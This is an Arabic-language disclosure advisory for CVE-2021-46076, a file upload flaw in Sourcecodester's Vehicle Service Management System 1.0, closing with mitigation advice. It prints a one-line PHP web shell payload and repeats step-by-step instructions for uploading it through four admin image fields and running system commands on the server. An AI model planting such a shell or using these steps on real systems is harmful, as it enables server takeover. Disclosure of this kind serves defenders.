CVE-2021-46076

عنوان الثغرة: نظام إدارة خدمات المركبات - تحميل ملفات متعدد يؤدي إلى تنفيذ الأكواد

مؤلف الثغرة: SANU P.L

CVE: CVE-2021-46076

CVSS: 8.8 عالية

المراجع:

• https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
• https://nvd.nist.gov/vuln/detail/CVE-2021-46076
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46076

الوصف:

نظام إدارة خدمات المركبات من Sourcecodester الإصدار 1.0 معرض لثغرة رفع الملفات. يمكن للمهاجم رفع ملف php خبيث في نقاط نهاية متعددة مما يؤدي إلى تنفيذ الأكواد.

1. نظام إدارة خدمات المركبات - 'حسابي' (/admin/?page=user)

الاستغلال:

1. تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
2. الانتقال إلى قسم حسابي http://localhost/vehicle_service/admin/?page=user

الحمولة:

<?php system($_GET['cmd']);?>

3. حفظ كود php أعلاه تحت اسم مثلاً: Cmd.php
4. في قسم حسابي، أدخل جميع البيانات المطلوبة ثم تصفح ملف php في حقل الصورة الرمزية.
5. انقر على زر التحديث.
6. افتح الصورة الرمزية في علامة تبويب جديدة.
7. أضف المعامل cmd في رابط URL ونفذ الأوامر.
8. الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. نفذ جميع أوامر النظام مثلاً: id، whoami، pwd إلخ.

2. نظام إدارة خدمات المركبات - 'قائمة المستخدمين' (/admin/?page=user/manage_user)

الاستغلال:

1. تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
2. الانتقال إلى قسم قائمة المستخدمين ثم النقر على زر إنشاء جديد.

الحمولة:

<?php system($_GET['cmd']);?>

3. حفظ كود php أعلاه تحت اسم مثلاً: Cmd.php
4. في صفحة إنشاء مستخدم جديد، أدخل جميع البيانات المطلوبة ثم تصفح ملف php في حقل الصورة الرمزية.
5. انقر على زر حفظ.
6. افتح الصورة الرمزية في علامة تبويب جديدة.
7. أضف المعامل cmd في رابط URL ونفذ الأوامر.
8. الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. نفذ جميع أوامر النظام مثلاً: id، whoami، pwd إلخ.

3. نظام إدارة خدمات المركبات - 'الإعدادات-شعار النظام' (/admin/?page=system_info)

الاستغلال:

1. تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
2. الانتقال إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info

الحمولة:

<?php system($_GET['cmd']);?>

3. حفظ كود php أعلاه تحت اسم مثلاً: Cmd.php
4. في قسم الإعدادات، أدخل جميع البيانات المطلوبة ثم تصفح ملف php في حقل شعار النظام.
5. انقر على زر التحديث.
6. افتح صورة شعار النظام في علامة تبويب جديدة.
7. أضف المعامل cmd في رابط URL ونفذ الأوامر.
8. الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. نفذ جميع أوامر النظام مثلاً: id، whoami، pwd إلخ.

4. نظام إدارة خدمات المركبات - 'الإعدادات-غلاف الموقع' (/admin/?page=system_info)

الاستغلال:

1. تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
2. الانتقال إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info

الحمولة:

<?php system($_GET['cmd']);?>

3. حفظ كود php أعلاه تحت اسم مثلاً: Cmd.php
4. في قسم الإعدادات، أدخل جميع البيانات المطلوبة ثم تصفح ملف php في حقل غلاف الموقع.
5. انقر على زر التحديث.
6. افتح صورة غلاف الموقع في علامة تبويب جديدة.
7. أضف المعامل cmd في رابط URL ونفذ الأوامر.
8. الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. نفذ جميع أوامر النظام مثلاً: id، whoami، pwd إلخ.

التأثير:

يمكن للمهاجم رفع ملف php خبيث في نقاط نهاية متعددة مما يؤدي إلى تنفيذ الأكواد.

التخفيف:

يوصى بتنفيذ ما يلي:

• عدم قبول اسم الملف وامتداده مباشرة دون وجود مرشح قائمة بيضاء.
• إذا لم تكن هناك حاجة لأحرف Unicode، يُوصى بشدة بقبول الأحرف الأبجدية الرقمية ونقطة واحدة فقط كمدخل لاسم الملف والامتداد.
• تحديد حجم الملف إلى قيمة قصوى لمنع هجمات حجب الخدمة.
• يجب ألا يحتوي دليل التحميل على أي صلاحية "تنفيذ".
• لا تعتمد على التحقق من جانب العميل فقط.